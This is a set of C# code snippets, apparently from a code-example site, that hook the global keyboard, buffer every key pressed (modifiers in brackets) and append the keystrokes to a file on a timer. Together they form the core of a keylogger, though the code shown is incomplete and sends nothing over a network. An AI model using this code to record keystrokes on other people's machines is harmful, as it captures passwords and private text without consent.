private static void OnTick(Object state)
        {
            FileBuffer buffer = null;

            using (StreamWriter writer = new StreamWriter(FILE_PATH, true))
            {
                buffer = FileBuffer.GetInstance();
                writer.Write(buffer.CurrentStream.ToString());
                buffer.CurrentStream.Clear();
            }
        }
        public void ForceWrite()
        {
            FileBuffer buffer = null;

            using (StreamWriter writer = new StreamWriter(FILE_PATH, true))
            {
                buffer = FileBuffer.GetInstance();
                writer.Write(buffer.CurrentStream.ToString());
                buffer.CurrentStream.Clear();
            }
        }
        void gkh_KeyUp(object sender, KeyEventArgs e)
        {
            FileBuffer buffer = FileBuffer.GetInstance();

            if (GlobalKeyboardHook.IsModifier((int)e.KeyCode))
            {
                buffer.Write("[" + e.KeyCode.ToString() + "]");
            }
            else
            {
                buffer.Write(e.KeyCode.ToString());
            }
            //e.Handled = true;
        }
Beispiel #4
0
 public static FileBuffer GetInstance()
 {
     if (mySingleton == null)
     { // 1st check
         lock (myLock)
         {
             if (mySingleton == null)
             { // 2nd (double) check
                 mySingleton = new FileBuffer();
             }
         }
     }
     return(mySingleton);
 }